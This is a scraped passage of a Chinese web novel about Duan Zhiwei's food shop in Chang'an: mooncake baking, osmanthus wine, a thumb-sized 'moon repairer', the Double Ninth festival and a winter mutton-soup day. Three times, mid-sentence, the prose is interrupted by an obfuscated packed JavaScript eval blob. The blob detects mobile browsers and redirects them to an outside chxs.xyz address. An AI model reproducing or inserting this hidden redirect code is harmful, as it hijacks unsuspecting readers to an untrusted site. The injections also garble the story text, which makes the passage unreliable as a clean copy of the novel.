除了废点时间，其他都还好，看着这大锅在门口不断咕噜，醇厚的肉香和冰糖甜蜜融合，弥漫在空气中，惹得路人时不时就凑过来看上一眼。 盘子底下垫一层白菜，肘子出锅，这肉炖煮得酥透，色泽金红油亮，段知微摆盘时再淋上一勺明油，看上去更油润。 食客们也很开心，冰糖肘子口感软糯，肘子皮肥而不腻、入口即化，肉的鲜嫩与浓郁卤汁相融合，更加鲜美。 多亏这肘子，米饭都比平时多卖了一瓮，饭上浇上一层肉汁，再用勺子拌开，每一粒米都饱吸了浓郁汤汁，再大口塞入嘴中，爽快地吃出一身薄汗。 过了晌午，肘子就全部卖空了，只好对后面的客人说上一句“明日请早”。 趁午后闲暇，段知微喊上阿盘，两个人在桂花树底下铺上油纸，准备收一收满树盛放的桂花。 二人轻轻摇一摇桂花枝干，婆娑间飘落满地金色的桂花，这桂花用来做桂花糕、桂花蜜、桂花冬酿酒都是极好的。 特别是那桂花冬酿酒，冬至日一大早拎一干净油桶去打五斤零拷冬酿酒，酒面漂浮着零星桂花，这酒刚饮一口是桂香浓郁的小甜水饮料，到了第二日便有酒味儿了，非常好喝。 段知微正搀那口冬酿酒，段大娘悠闲走了进来，左右看一眼问：“蒲桃呢？” 那小姑娘最爱凑这个热闹了，怎么不见人影了。 “兴许玩去了吧。”段知微接话，豆蔻年华的小姑娘，成天拘在这干活做什么，出去玩玩也挺好。 正提到她，蒲桃垂头丧气地走了进来。 几人忙问她怎么了。 蒲桃撇撇嘴，含了一包泪道：“我的兔子不见了。” “哎呦呦。”段大娘这人嘴硬心软，最见不得她哭，赶紧蹲下给她擦眼泪：“老身陪你去找找，找不到就去东市再买一只，不就兔子吗？” 两人牵着手走了。 段知微这才开始忙活月饼的事。 传统广式月饼有莲蓉蛋黄的、豆沙的，优点是易于保存，卖相漂亮；苏式月饼馅料有玫瑰、百果，当然也有火腿葱油的，可甜可咸，任君挑选，但是容易掉渣，不方便送人。 京式自来红月饼段知微没有尝过，倒是在潮汕吃过一种朥饼，皮薄馅松很是新奇，只是内馅多用老香黄和乌豆沙，难买到，工艺也极其复杂，要慢慢包酥，这样才能层层起薄酥，于是段知微也算了。 最后还是决定先动手做莲蓉蛋黄的试试看，毕竟她有先见之明，咸蛋黄已经腌制了好几缸在库房里头。 立秋时晒了一天的干莲子磨成泥，倒入锅里加糖炒，炒至莲蓉抱团。咸蛋黄切开放进胡饼炉里低温烘烤，馅料准备好以后就开始包月饼。 前两日段知微还想找木匠师傅刻一套月饼模子，特特提了要求要嫦娥奔月样式和玉兔捣药样式的，结果因为临近中秋，这模子竟然有现货。 师傅说长安糕饼铺子排着队来订这个模子，他跟几个学徒加班加点的刻了几十套扔在那。 段知微倍感竞争激烈。 在面皮里塞入莲蓉蛋黄，满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529043|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满用虎口把皮子往上推，收好口，压一压放入模子里，薄薄地刷一层蛋黄水，然后放进炉子里头烘烤。 最后成功端出一盘烘烤得非常成功的月饼。色泽金黄如满月，表皮细腻，散发微微的麦香和油光。月饼正面的嫦娥奔月花纹也刻得很清晰。 拿把刀把月饼切开，里头层次分明，莲蓉细腻绵密，中间一颗橙黄圆润的咸蛋黄，一看就让人起食欲。 段知微颇为满意，跟阿盘两个人分了一块，其他的用盘子装好，放灶台上晾凉。 她又想试试苏式的月饼，段大娘带着蒲桃回来了，看着两人都垂头丧气的样子，段知微就知道，肯定是兔子没找到。 “算了吧”她想安慰一下两人，便去灶台上取月饼：“今日烤的月饼非常美味，你们一人一个尝尝。” 灶台上空空如也。 “我月饼呢！” 她大步走到后院，金华猫仰躺在屋檐上一脸舒适地晒着太阳。 “我说，是不是你偷走了一盘月饼。”段知微不太客气。 此猫蹭吃蹭喝，一猫一天能吃一筐鱼，不给饭钱也算了，遇到大事还指望不上，比方上回遇到蝉妖，一人一猫互相抱着在树下瑟瑟发抖。 金华猫大怒：“本座还没到要偷吃月饼的地步好吧，那玩意甜腻腻的，谁吃那个。” “哦”段知微拿出那个还粘着些微月饼香气的盘子“那麻烦你找找我月饼哪儿去了。” “你当我是犬类啊，我是高贵的金华猫！” “今晚两根炙鱼干。” “......成交。” 金华猫闻闻盘子，又四处闻闻空气道：“我闻到了......” “月饼的气息？”段知微赶紧问道。 “是妖怪的气息。”金华猫颇为神秘地说道。 结果它厅堂、库房、后院甚至井里都看了一圈也没看到妖怪半个影子。 段知微深感上当：“你的炙鱼干没有了。” 一人一妖正在斗嘴，后院的葡萄架下茂密一丛草突然动了动，段知微以为是那只不见了的兔子，赶忙跑过去拨开了草。 一个可爱的拇指般大的小姑娘正抱着一块月饼费劲地啃，她有一对长长的兔子耳朵，不时颤动两下，她身穿一袭白色袍子，那袍子轻柔白净，泛着如月华般柔和的光泽。 见到段知微也不害怕，而是抱起剩的一小块月饼给她：“你要吃吗？” 虽然是妖怪，但是也太可爱了吧，段知微心想。 等等......这不会是蒲桃从终南山捡回来的兔子吧。 这么想着，她举起双手把兔子耳朵的拇指姑娘托了起来。 蒲桃非常惊喜，小心摸摸她的耳朵，阿盘也算经过大风大浪了，只看一眼就又去晒桂花去了，倒是段大娘咋咋呼呼：“怎么又来个妖怪，那清风庵定然是个骗子，老身供了那么多香火一点用都没有。” 岂料兔耳拇指姑娘不满地双手叉腰道：“我不是妖怪，我是修月亮的人。” 32. 第三十二章 段知微头一回学着酿桂花酒以失败告终。 她自觉看过不少别人酿酒的教程，信心百倍地跑去酒肆打了一缸清香白酒，先放干桂花、再放一层□□糖压住桂花，最后倒酒，封盖以后把酒坛放到通风处。 带着对甜香桂花酒的满满期待打开盖子，结果一股败坏的酸腐味儿冲了出来。 在后院干活的阿盘、念书的甄回、晒太阳的金华猫、偷懒的段大娘都被味道熏跑了。 段知微只好自己一个人坐到井边涮洗酒坛。 蒲桃风风火火打了帘进来，段知微以为她要帮忙洗酒坛，正要好好表扬她一番，没想到蒲桃撇撇嘴问道：“娘子，月亮上有什么啊？” 段知微：“啊？” 蒲桃不太开心：“月亮上明明有嫦娥玉兔和桂花树，月牙说没有。” 月牙就是那只蒲桃从终南山脚捡回来的小兔子妖怪，虽然她自称是修月人，但是没有人相信她。 为迎合中秋佳节，东西两市最近的歌舞百戏随耳一听都是嫦娥奔月、吴刚砍桂的故事，蒲桃对嫦娥仙子的故事坚信不疑，已经准备好了香合、筯瓶，就等中秋一到虔诚拜月娘。 月牙竖着一双兔耳朵，老僧入定般地坐在蒲桃肩头，看上去一脸高深莫测：“你们可知，月亮是由七宝合成的，像一个圆圆的丸子，上面的阴影也不是桂花树，是太阳照耀在上面形成的影子。” 虽然段知微完全知道月球上肯定没有嫦娥仙子，但是见蒲桃忙前忙后，买了各色果子鲜花就等着中秋拜月，也不忍心戳破她的幻想，只好说：“岂不闻李太白‘白兔捣药秋复春，嫦娥孤栖与谁邻。’大诗人都这么说了，月亮上自然是有嫦娥仙子的。” 本朝人对诗人有一种莫名崇拜，更何况这诗章出自诗仙李白笔下，虽然李白本人也不一定相信这个，只是用典写诗而已，但是用来安慰蒲桃足够了。 蒲桃稍稍安下心来。 段知微带着月牙到了前厅道：“妾自知月亮上没有嫦娥仙子，但是蒲桃还小，你不要打破孩童的幻想，妾身给你做一盘月饼当作谢礼。” 月牙仍然盘腿而坐，把脸扭向一边，颇为傲慢道：“你们这些凡人根本就不懂月亮......” 段知微见她如此，只好无奈道：“我懂月亮，月亮上有几座环形山，月面上那些黑斑是广袤的平原，还有绵延的、一望无际的山脉......” 月牙这回终于睁开了眼，很是认真地盯着段知微看了一会儿，而后站起来，在灶台上规规矩矩行一跪拜大礼道：“月牙有眼无珠，竟不知娘子也是修月人。” 段知微：“不，我不是。” 自那以后月牙的态度一个大转弯过来，这拇指大小的修月人竟然懂得不少，她明确指出段知微酿酒出错的地方，是花柄没有摘除干净。 在月牙的指导下，段知微用透水把酒缸里外冲刷三遍，再一层桂花、一层冰糖的码在一起，最后倒入酒封盖。 月牙拍着胸口保证，这酒酿造出来绝对没有问题。 眼瞅着其他食肆都开始预订月饼了，也有不少乞巧订过巧果的老客专门来段家食肆问月饼的事情，段知微赶紧着手月饼的烤制。 月饼礼盒里放入的是三种广式，莲蓉蛋黄、豆沙枣泥和五仁，另外再散卖一些现烤的鲜肉月饼和香喷喷的桂花糕。 宵禁刚解，远方刚刚露出鱼肚白，段家食肆便开始忙活了起来，段大娘负责活面，阿盘则是熬煮红豆沙、剁肉蓉，蒲桃清洗桂花，段知微则用石碾慢慢碾碎核桃、芝麻和瓜子仁。 虽然她本人不爱吃五仁月饼，但是该说不说，五仁月饼在长安就是卖得好。就像长安名菜格食，就是羊肉肠缠豆荚，她听着就不想吃，长安人却很喜欢。 于是当天光大亮，路人行走在路上以后，惊讶地发现段家食肆里向外飘出一阵阵的甜香。 五仁月饼里的各色坚果因为饱含油脂而散发浓郁的坚果香，豆沙枣泥的月饼则是枣香浓郁。 还有鲜肉月饼，段知微在叠酥皮时特地掺进去一勺猪油，烘烤出来的月饼有浓烈油脂香。 阿盘把每个种类的月饼都切了几小块放在柜台前，戳了几个竹签子任食客品尝。 让段知微没想到的是，鲜肉月饼竟然卖得格外的好，虽然她几次向食客强调这月饼只能吃现烤的，冷了就不好吃了，但食客们仍然无怨无悔的在秋风里头等着。 甚至门口排了个大长队就为了等这鲜肉月饼出炉。 段大娘只好紧急跑去肉铺又订了几斤猪腿肉。 食客们点一盘鲜肉月饼，都不需打包，直接坐到食肆里头就开始吃了起来。 苏莯下了值，闻着味儿就跑来排队，段知微悄悄给他插了个队，拿了一盘子让他坐后堂吃去了。 咬上一口，这鲜肉月饼层层包酥，油脂香气浓郁，咬一口酥脆非常，扑簌簌的往下掉渣。里头肉馅加了葱姜水去腥提鲜，浓郁肉汁和酥香外皮结合起来吃着非常美妙。 段知微自己都没想到鲜肉月饼竟然做的这么成功，于是紧急停止了桂花糕的制作，全心全意的专攻鲜肉月饼这一种。 不过莲蓉咸蛋黄的月饼也很受欢迎，据食客反映，莲蓉细腻顺滑，有莲子清香，咸蛋黄油润起沙，二者结合，咸香与清甜竟然交融的很好，食客们很喜欢。 最后莲蓉咸蛋黄和鲜肉月饼一售而空，但其他都有些剩下来的。 月牙倒是很喜欢那个红枣豆沙和五仁馅的月饼，坐在那慢慢吃了起来，并且礼貌询问段知微，因为目前还有八万多人躲在月亮阴影处修理月亮，她想带一些作为特产带上月亮。 段知微自打来长安，遇到了没有头颅的飞头蛮、哄骗人入池塘的蛙僧......对什么都见怪不怪了，别说带到月亮上去，带进黑洞里她也没有意见。 于是段知微寻了一个大包袱，把卖剩的月饼一股脑包裹了进去，一点儿大的月牙当着众人的面把月饼包袱缩小成黄豆大小，而后背到身后，向众人礼貌告别。 蒲桃有些许不舍，问道：“你要离开了吗？” 月牙道：“我偶然入到终南山小径中，迷了路，在其间化为兔子睡觉时被带来此处，这儿的月饼很好吃，明年中秋前后我会再来的，眼下我要回月亮上去了。” 段知微插话道：“你要怎么回去啊？” 月牙打开了话匣子，说是还有别的修月人来到了长安，目前住在城外桃林寺中，她准备去找他一起回去。 桃林寺离宣阳坊很是有一段距离，段知微便打算驾着驴车送她一程，蒲桃嚷着要跟她一起去。 段大娘趁机拿了一袋子铜钱让她去桃林寺献点香火，若是晚了，可以在桃林寺宿上一晚再回来。 中秋临近，作为大寺，桃林寺门口也是一排排宝马香车络绎不绝，段知微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544368|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架着驴车晃晃悠悠到寺的时候，已是彩霞漫天，今日是决计回不去了，只好在小沙弥的引导下，去厢房宿上一晚。 月下散步的时候，倒是在桃花树下遇到了值守的袁慎己。 桃林寺最近香火兴旺，王公贵族一茬茬来，金吾卫便在这轮流值守。 她见到袁慎己，笑得开心，忙拿出一篮子月饼邀请他一起吃。 “这个鲜肉月饼，不知道为什么竟然很受欢迎，我以为长安人会喜欢吃甜的呢。” 她又拿出一个红枣豆沙的：“这个就没有人喜欢。” 袁慎己接过咬上一口，满口红枣的浓郁甜香，于是全部吃下道：“这个也很好吃。若段娘子不介意，豆沙馅的月饼可以全卖给袁某。” 虽然这样确实可以清库存，但是听上去娿太不上道，她刚要拒绝，听到前面传来争吵声。 一身着翻领窄袖白色长袍，头戴斗笠的书生，怀抱一个竹篮和瓠瓜做的漏勺，正在池塘边用勺将水打到篮子里，这样很奇怪，因为竹篮是镂空的，水从缝隙里全淌到了地上。 因此旁边几个郎君仕女都嘻嘻哈哈着笑他痴儿。 他捧着竹篮正色道：“某在收集漏在水面的月光，用于维修月亮。而且，若是夜晚过于黑暗，收集的月光可以把黑暗照得通明。” 众人只当他玩笑，笑着说他痴，而后一哄而散。 段知微一听就知道他应当是另一个修月人，正想回房找月牙，袁慎己却叫住她，今夜城外江水中有一只行进的画舫，可供桃林寺的香客使用，不妨一起去赏月亮。 段知微欣然同意。 正所谓十五的月亮十六圆，中秋前后的月亮都很美，长安有宵禁无法可想，但是城外有泛舟江上赏月的机会，真是不容错过。 段知微带上了蒲桃和月牙上了画舫，朱红色香案上已经染上了香炉，筯瓶里插着一双香筯，供着数枝木樨。 画舫中间也有食案放着月饼、西瓜、柿子供香客随意取用。 一切都很完美。 除了今晚完全没有月亮，夜空如巨大的墨色幕布笼罩江水，只有画舫四角燃着的灯笼闪着微弱的光芒。 除了蹭袁慎己身份的段知微外，画舫里大都是贵人，不觉有些败兴，有个郎君突然瞅到那位收集月光的人道：“你不是收集了月光了吗，可以拿来用吗？” 段知微很明显听出他在阴阳怪气，但那位斗笠兄竟然高兴地讲道：“兄台说得很有些道理。” 而后他用漏勺伸入竹篮里舀上一勺子空气，向江面泼去，一道明亮的月光划破了黑夜，他又舀了几勺，又一道月光架在江面上，如此十来下，江面被月光照得通明，亮亮堂堂的，连江中鱼儿浮到水面上击打水面，鱼尾都看得清清楚楚。 这下画舫里头的人全部都惊讶起来，有人率先问道：“可是仙人到凡间一游？”说着就要跪下，被那斗笠兄扶起谦虚道：“怎敢怎敢，某不过是八万两千户修月亮的人之一，如今人间已经游历，便回月亮上去了，哈哈哈哈。” 躲在食盒中的月牙也偷偷跑了出来，再次对着段知微和蒲桃行礼道：“我也要回月亮上去了，得抓紧在中秋夜把月亮修好。” 她伸出手，拿出一个小包袱，里头是两裹玉屑饭：“这玉屑饭虽不能至长生，但能使百病全消，你们分了吧。” 而后她走到斗笠人的身边，两人一起消失了。 33. 第三十三章 佳节又重阳 很快便又是重阳佳节，自晋陶渊明后，世人甚爱菊花，走在坊里小路上，小贩扛上几盆子菊花摆着，黄的如金，粉的似霞，花团锦簇好不热闹。 段知微向来对不放假的节日没什么灵敏度，直到段大娘插上满头的茱萸问道：“今年重阳是怎么个过法？” 段知微理所应当地答道：“能如何过？自然是按平常过呗。” 她刚订了几篓极肥的螃蟹，正是摩拳擦掌的时候，待重阳一到，一盘蟹膏丰腴的清蒸螃蟹，一碟姜醋汁，再将那沉淀十来日的桂花酒启坛，那可真是人间第一大享受。 段知微畅想得很是美好，并且给段大娘画饼：“重阳赚了银钱，便去捻金阁给您打一支金镶玛瑙钗。” 段大娘不理她的画饼，只幽幽道：“哪个客人失心疯了重阳节跑你这食肆用食？” 重阳乃大节，长安人全跑城外“观秋”去了，要不就是在终南山脚放飞纸鹞，要不就是在曲江池畔饮酒赏菊，还有去乐游原上登高辞青的。 最不济也是在寺庙前观赏舞狮法会，若有熟人问上一嘴：“足下重阳如何度过？”而你回答：“在食肆饮酒吃蟹。” 定会被熟人心里冷笑，道一声“土鳖”。 段知微这才意识到问题的严重性。 正是秋高气爽的节气，宵禁过后，后院桂花树下摆几个食案，段知微极其大方地端上了一盆秋梨石榴，并道：“秋季霜降，应当吃些甘润酸甜的水果，大家不要客气，随便吃。” 一向抠门的掌柜今日变得如此大方，甄回看眼水果再看眼笑容满脸的段知微，迟疑着不肯下手：“段娘子有何要求直接吩咐就行，不必如此......” 段知微道：“怎会如此，马上重阳佳节，妾已想好了，雇上一辆牛车，带大家去终南山脚辞青、饮酒、放纸鹞。” 众人一听便懂了，段娘子这是又盯上了重阳的生意，寻思去终南山摆摊呢，幸而不是什么再去林子里头捡栗子，满大街拿着月饼喊人试吃的苦差事。 于是大家放松下来，拿水果的拿水果，饮酪浆的饮酪浆。 段知微自讨了个没趣，只得也盘坐下来，啃一口秋梨。 嘶......真酸，早知道就不买最便宜那种了。 秋季真是个颜色丰富的季节，后院几个大簸箕里晒了柿饼、陈皮、栗子、梨条，最后还有一竹篮子山楂果实在没地儿晒了，段知微干脆找了屋外一墙根斜着晒山楂。 那山楂果红彤彤圆滚滚一个，看着就惹人喜爱，更是为秋天增了一道明媚的亮色。段知微心血来潮，就想弄个冰糖葫芦吃一下。 这小零嘴做起来也是简单，竹签子串一串，熬一锅浓稠糖浆，把山楂果子在里头滚上一滚放凉便是。 一个个红彤彤山楂裹着晶莹剔透的糖衣，在秋阳下一照，像璀璨的红宝石，看着就诱人。段知微自己试吃了一个，“咔嚓”一声，糖衣清脆带着些凉意，甜蜜的糖中和了果子的酸，吃上去别有滋味。 这零嘴儿大人不觉得什么，蒲桃见了两眼都发光，拿起一根跑去跟小伙伴们炫耀去。 段知微把手在蔽膝上擦两下，开始考虑摆摊用的重阳糕，重阳糕又称五色糕，段知微之前从未做过这种，长安各家糕品铺子对重阳糕的制法大都不一样，讲究的人家要制九层糕，上头插一小小红纸旗，不讲究的人家则是米粉拌上蜜枣葡萄干一通乱蒸，也算是重阳糕。 更离谱的是还有人家在糖糕上放上羊肉、鸭肉做点缀...... 于是段知微顿悟了，重阳糕，就是重阳节吃的糕，它究竟是个什么形式，没有人在乎，那便蒸上几笼桂花糕算了。 正自想着，蒲桃一脸气愤的回来了，新做的银红半臂襦裙底下染了一层泥污。 “这是怎么了。”段知微赶紧给她拍拍裙上的灰。 “隔壁肉铺的旺福抢了我的冰糖果子，我气不过，跟他打了一架”她四处张望一番，拿了墙角晾晒用的竹竿当武器，吸吸鼻子又走了。 小小背影拎着个大大的竹竿，头上双髻的红绳一晃一晃。 “回来！”段知微在后面追过去，抢过竿子：“还想打架，这裙子做了小百文钱了，若是破了，长姑有的念叨了。” 见她不服气，段知微只能叹口气：“回头重阳，做上一扎子冰糖葫芦，你去他面前炫耀一圈，每人分一根，就是不给他。” 蒲桃觉得解气，狠狠点点头。 终于等到重阳日，段知微狠心雇了一日牛车，这牛车宽敞，坐得舒服，而且老牛走得稳当，不像驴车，摇摇晃晃的。 今日秋高气爽，秋阳高照，一扎子冰糖葫芦在阳光下熠熠生辉，蒲桃特特抱着跑去肉铺逛了一圈，把旺福馋得口水直流，被肉铺娘子一个巴掌打下去。 今日天空瓦蓝澄澈，渭水河流环绕着终南山，段知微想起那时与袁慎己一并走在其间还是葱茏夏季，如今已然金黄一片。 她们挑了溪水边一棵金黄的枫树下，铺上一层毛毡，毛毡一角压上一坛桂花酒，几篮子桂花糕一摆，再竖上一扎冰糖葫芦。 此处溪水碧清，地势平坦，许多仕女、孩童也选了这儿放纸鹞，长安小贩也是聪明，好几个摊子上挂着各色纸鹞，仙鹤长寿的、鲤跃龙门的，段知微见蒲桃眼巴巴看着，便也准备去给她买一个。 小姑娘品味独特，非瞧不上那蝴蝶的，定要一个通涂绿色的软翅螳螂。 不一会儿瓦蓝的天上飘着各色纸鹞。 阿盘拿出几个杯子，每人分上一碗桂花酒，托修月人的福，那酒的确酿造得极其成功，泥坛一开封，那浓郁的桂花香立刻就弥漫了起来。 来辞青的郎君仕女本就觉口渴，闻到这甜香浓郁的桂花酒，忙来打听一番，段知微备了好几坛在车上，立刻同意卖给他们。 今日在这放飞纸鹞的儿童颇多，蒲桃受了旺福的启发，拿上一串冰糖葫芦去小孩堆里一顿炫耀，不一会儿，那群孩童看着眼馋，纸鹞也不放了，立逼大人来掏银子买冰糖葫芦了。 一扎子冰糖葫芦竟是不费力就卖完了。倒是几篮子桂花糕还放在那，虽也有人买，但是人气不太高。 三三两两前来的游人大都是想饮上一碗桂花酒，此酒色泽金黄澄澈，酒面些许泡沫，饮上一口绵柔醇厚，还有桂花微微的甜香。 很快又走来几个郎君，扮相一看就是世家子弟，上来便直接要买一坛子桂花酒。 段知微回头去捧酒，却被为首的身着紫色澜袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14559056|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人盯住：“竟然是你？” 这人穿着华贵，腰间挂一麒麟玉佩，肤色白皙，长得也算端正，段知微瞧了他一会，愣是没想起来，只好问道：“足下是？” 那人气结道：“你这无知娘子，上次嘲讽某未学《礼记》，竟扭头就忘了？” 段知微瞬间记起，夏日抢冰时，她因念了卢照邻两句诗，被这迂酸文人嘲笑的事，当下把酒坛狠狠放下，嘲讽道：“一季未见，不知郎君是否已能将《礼记》念诵个完整？” 对于读书人来说，这算是极大的羞辱了，那人脸色涨红刚想理论，被后头人拉住道：“算了，何必与妇孺计较这等细枝末节。” 段知微不乐意了：“明明是你先招惹我的，我念两句诗碍着你了？乐天居士每完成一首诗，都要念诵一遍给老媪听，直到百姓听懂，所以各地的寺庙、驿站都有他的诗留存，你这种附庸风雅，作一首诗非得佶屈聱牙，那才是最可恨的。” 那几个郎君惊讶望她。 后面传来“啪啪”几声鼓掌，一个矮胖白面的书生走过来道：“好泼辣娘子，但竟说得有些道理。” 这书生脸上一团和气，但后面几人看到他竟然灰溜溜走了，段知微上下打量一下他。 袁慎己也从后面赶过来，微笑道：“这便是我曾提过的段家娘子。” 段知微：“啊？” 书生在溪水边搭了个毡帐，邀段知微一叙，几个人便坐到帐中。 书生拱拱手：“某琅琊王氏王潜，今日听段娘子一席话，颇有些感悟。” 他的案前正放着一张上好白麻纸：“诗篇不必过于华丽用典，朴实些或许更受百姓喜爱。” 段知微心想，看来又是一位爱诗成痴的文人。 袁慎己则是在一旁补充道：“王君喜爱志怪故事，擅于写变文，大慈恩寺、青龙寺很多变文都是他写的，某曾提到过段娘子在南严寺的经历，王君一直说要见你一面。” 原是如此，当下段知微稍安，想他爱听志怪故事，便把中秋遇到修月人的故事也与他讲了一回，王潜甚是惊喜，听得连连点头，忙命侍女研磨，将故事记载了下来。 而后又对段娘子叉手为礼道：“这篇定能成为风靡长安的变文，王某这厢多谢段娘子。” 不过提供了个故事而已，有何好道谢的，段知微坐了一回，起身告辞了。 帐中只剩王、袁二人坐着对饮，那王潜虽面上一脸和气，笑起来却两眼弯弯，像只老谋深算的狐狸：“今日可算见到了，迷惑到慎己兄的，凉州城外的狐精。” 袁慎己微微皱眉，似不喜这个称呼道：“狐精故事是你编写的变文，还望慎言。” 王潜点头道：“倒是位有趣的妙人，可惜出身低了些，圣人最近欲在凉州设置都护府，大都护位置定然是你的了，你那继母想来蠢蠢欲动。” 袁慎己冷笑一声：“袁某要娶何种娘子，哪里是她能过问的了的。” “那也是”王潜一点头，又揶揄道：“不过段娘子看上去坦坦荡荡，想来并不是折柳赠你啊。” 何止不会折柳相赠，只怕得对着柳叶研究一下可做什么美食，想到这儿，袁慎己势在必得的笑了：“这便不用王君担心了。” 34. 第三十四章 牡丹灯笼 时序往冬日在过，不同于重阳节的艳阳高照，这几日竟都是天阴雨湿，往往二人正说着话呢，天突然阴下来，而后便开始落雨。 路人这些日子都打着油伞在暴雨斜风里艰难行走，段知微早早在厅堂里找了火盆生上了火，整个食肆立刻就暖烘烘了起来。 段大娘本来觉得还未入冬就把火盆生上，简直就是在浪费碳钱。但见许多过路人因想驱寒而各个往食肆里头赶，也就闭嘴不说什么了。 天实在是太冷，阿盘畏寒，到这天就双手双脚冰冷，裹几层衣裳都不中用，段知微特地去铁匠铺，找铁匠打了一个类似汤婆子的铜制容器，往里头倒入热水，捧在手上也能驱寒。 汤婆子乃是宋代创制的小玩意儿，本朝是没有的，段知微去打完一个，铁匠自己也觉得新奇有趣，便又多做了几个放在铺子卖，不想生意竟然很好，寥寥数日下来，段知微走在路上，竟发现长安仕女人几乎手捧一个汤婆子。 她是真的很想去找铁匠铺要一下汤婆子的版权费，谁料想铁匠倒是很上道，一大早扛了一整个羊腿到了食肆，算作答谢。 这身形魁梧的铁匠放下羊后竟然难得忸怩一番：“托段娘子福，最近铺子生意不错，若之后娘子还有什么物件要打，还请到某的铺子里来，给娘子免上些铜钱。” 段知微懂了，这也算是来送版权费了。马上过冬，她确实准备再打几个暖锅，推出各色火锅来，于是欣然道：“那便多谢了。” 双方对这桩交易都感到很满意，段知微还想招呼铁匠饮一碗热腾腾的大枣茶，铁匠摆摆手，自去了。 一整个羊腿挂在食肆门口，恰逢果肆又送来水灵灵一筐白萝卜，那可真是想瞌睡的人送来一枕头，白萝卜辛辣，最能解膻味了。 外头北风呼呼刮着，里头食肆温暖如春，再来上一碗羊汤配几个烘得焦脆的胡饼，若有雅兴，再来一杯绿蚁酒。 羊肉算是本朝供需都最大的牲类了，极是受欢迎，当下段知微便让甄回写了个牌子“今日本肆供应羊汤”，雄赳赳气昂昂立在那显眼羊腿边上。 段知微把羊肉、草果、萝卜、甘草一股脑儿扔进大锅里煮，中途不时撇去浮沫，不一会儿，羊汤浓郁的香味就飘散了出去。 这对赶路的行人简直就是个极大的诱惑，在北风里走得浑身阴冷，闻到这浓郁喷香的羊汤味，四处一寻，抬头便看到灯光澄亮，暖烘烘的段家食肆。 不到中午食肆就坐满了饮羊汤的客人，每人食案上都是一大碗羊汤配几个胡饼，这边段知微跟阿盘她们又剁一些羊腿肉，撒上孜然，串成串子放胡饼炉一起烘烤，可以用来就酒。 袁慎己今日在演练场吹了一早上寒风，虽说这跟北地边疆来说完全不算什么，但是看到段知微在门口跟他打招呼，而后受邀坐进温暖食肆的时候，他仍然觉得从心上舒适了起来。 尤其段知微笑盈盈拎一壶冬酿酒走过来，开心问他：“都尉，可否要来一壶新酿的秋露白，这酒用城外清泉酿造，色味俱佳，好就羊肉串子。” 袁慎己哪有不答应的，只点头道：“可以，那就劳烦段娘子了。” 段知微笑意更盛了。 也不知是不是被北风刮昏了脑袋，她在酒肆本想按照老一套订一坛新丰一坛绿蚁，被酒博士一顿忽悠，说这秋露用白面造麴，特特从城外寻一处甘甜清泉浸上吴兴上等白米酿造而成，又名三白酒。 确实芳香馥郁，小酌上一口，开头是辛辣，而后又化作清甜甘爽的味儿。但就是贵，买回来半个月竟无半个食客问津。 段大娘气得禁止段知微再去酒肆打酒，怕她又被人忽悠。 好在也袁慎己帮着垫底。 她麻利给袁慎己送上一份羊汤几个羊肉串，又给他来上四个大胡饼，而后在他对面坐下：“都尉近来可安好？” 这话问得蹊跷，他能打能跳，一场能掀翻四个武侯，一顿能吃四个胡饼，能有什么不安好的，只听段知微道：“昨日见到苏录事，他看上去......” 怎么说呢，脸色惨白惨白，像是走路都在漂荡。 “莫不是遇上倩女离魂了？”她开玩笑道。 最近西市傀儡戏极是流行一出《离魂记》，名唤倩娘的娘子离了魂魄去寻爱人私奔。这倩女幽魂各色版本的故事段知微都听得耳朵生茧了，提不来一点儿兴趣，倒是段大娘几个，每次都驾个驴车兴致勃勃去听，回来各个都被感动的眼睛红红的。 袁慎己倒是不爱在外调侃属下，但听她这么讲，却也颇觉有意思，于是接道：“苏莯仍为娶亲，或许......” 说人坏话的时候真的很容易被当事人撞破，比如段知微正跟他谈得开心，背后传来幽幽一句：“段娘子，麻烦给苏某来上两碗羊汤。” 段知微一扭头，苏莯那张惨白的脸靠得还挺近，吓得她一个趔趄，赶忙道：“马上就来。” 苏莯还带上了一位好友，这名好友脸色竟然比上苏莯还要再差上一些，惨白的脸上顶着两个黑眼圈，说句难听的，倒有些像戏台子上那食血鬼。 一大碗羊汤喝下去，苏莯脸色倒是有了些血色，对面的男子面前放着香喷喷的羊汤，却似乎对此没有什么兴趣，一口都未碰过。 作为一向自信的厨娘，段知微对此感到了极大得不满意，但是客人又不是没给铜钱，吃食碰不碰，她也不好说道什么。 夜近宵禁了，食肆里除了住附近的两三食客，已无他人,段知微跟阿盘正忙着洗干净菘菜预备着做盐菜御冬，段大娘则在厅堂跟着蒲桃准备腊肉腊肠。 